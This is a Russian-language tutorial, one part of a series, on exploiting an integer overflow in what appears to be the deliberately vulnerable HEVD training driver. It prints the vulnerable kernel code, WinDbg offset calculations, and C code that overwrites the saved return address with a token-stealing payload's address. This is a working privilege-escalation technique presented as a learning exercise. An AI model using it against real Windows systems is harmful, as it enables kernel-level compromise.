В этой части будет рассмотрена обычная уязвимость на базе целочисленного переполнения.
Автор: Mohamed Shahat
В этой части будет рассмотрена обычная уязвимость на базе целочисленного переполнения. Многое будет взято из 3 и 4 части, поэтому эта статья довольно короткая.
Код экспоита находится здесь.
Суть уязвимости
Код находится здесь.
NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
ULONG BufferTerminator = 0xBAD0B0B0;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
SIZE_T TerminatorSize = sizeof(BufferTerminator);
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is not doing any arithmetic
// on the user supplied value. Instead, the developer is subtracting the size of
// ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
// not occur and this check will not fail
if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#else
DbgPrint("[+] Triggering Integer Overflow\n");
// Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
// 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
// integer will wrap down and will finally cause this check to fail
if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#endif
// Perform the copy operation
while (Count < (Size / sizeof(ULONG))) {
if (*(PULONG)UserBuffer != BufferTerminator) {
KernelBuffer[Count] = *(PULONG)UserBuffer;
UserBuffer = (PULONG)UserBuffer + 1;
Count++;
}
else {
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Как можно понять по комментариям в коде выше, мы имеем дело с обычным целочисленным переполнением, которое стало возможным из-за того, что программист не предусмотрел передачу в драйвер буфера слишком большого объема. Любой размер от 0xfffffffc до 0xffffffff позволяет обойти проверку. Обратите внимание, что операция копирования завершается, если встречается символ завершения (хотя все же должно быть 4-байтовое выравнивание). Таким образом, нам не обязательно указывать размер буфера равный тому размеру, который мы передаем.
Эксплуатация уязвимости в системах x64
Параметр InBufferSize, передаваемый в функцию DeviceIoControl, размером DWORD или 4 байта. В 64-битном драйвере по адресу HEVD!TriggerIntegerOverflow+97 выполняется следующая проверка:
fffff800`bb1c5ac7 lea r11,[r12+4]
fffff800`bb1c5acc cmp r11,r13
В коде выше происходит сравнение 64-битных регистров (префикс/суффикс для преобразования к 32-битному представлению не используется). Соответственно, регистр r11 никогда не переполнится, поскольку туда устанавливается значение 0x100000003, из чего можно сделать вывод, что данную уязвимость нельзя использовать на 64-битных машинах.
Дополнение: как оказалось, причина, по которой обработка в 64-битных архитектурах выполняется корректно, в том, что все эти значения размером size_t.
Контроль потока выполнения
Вначале нужно выяснить для регистра EIP. Необходимо отослать небольшой буфер и вычислить смещением между адресом буфера в ядре и адресом возврата:
kd> g
[+] UserBuffer: 0x00060000
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x8ACF8274
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 3 hit
HEVD!TriggerIntegerOverflow+0x84:
93f8ca58 add esp,24h
kd> ? 0x8ACF8274 - @esp
Evaluate expression: 16 = 00000010
kd> ? (@ebp + 4) - 0x8ACF8274
Evaluate expression: 2088 = 828
Как упоминалось ранее, нам нужно иметь завершающее значение, выровненное по 4 байтам, иначе будет учитываться параметр Size, что в конечном итоге приведет к чтению вне пределов буфера и возможным ошибкам доступа.
Теперь мы знаем, что инструкция RET находится по смещению 2088. Соответственно, завершающее значение должно находиться по смещению 2088 + 4.
char* uBuffer = (char*)VirtualAlloc(
NULL,
2088 + 4 + 4, // EIP offset + 4 bytes for EIP + 4 bytes for terminator
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Constructing buffer
RtlFillMemory(uBuffer, SIZE, 'A');
// Overwriting EIP
DWORD* payload_address = (DWORD*)(uBuffer + SIZE - 8);
*payload_address = (DWORD)&StealToken;
// Copying terminator value
RtlCopyMemory(uBuffer + SIZE - 4, terminator, 4);
Того кода, который показан выше, вполне достаточно! В конце полезной нагрузки StealToken необходимо восполнить недостающий фрейм стека посредством вызова оставшихся инструкций (эта тема подробно рассматривалась в третьей части).
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
Рисунок 1: Демонстрация работы эксплоита
Полная версия эксплоита находится здесь.
Защита от уязвимости
Кроме того, полезно ознакомиться с классом SafeInt.
Резюме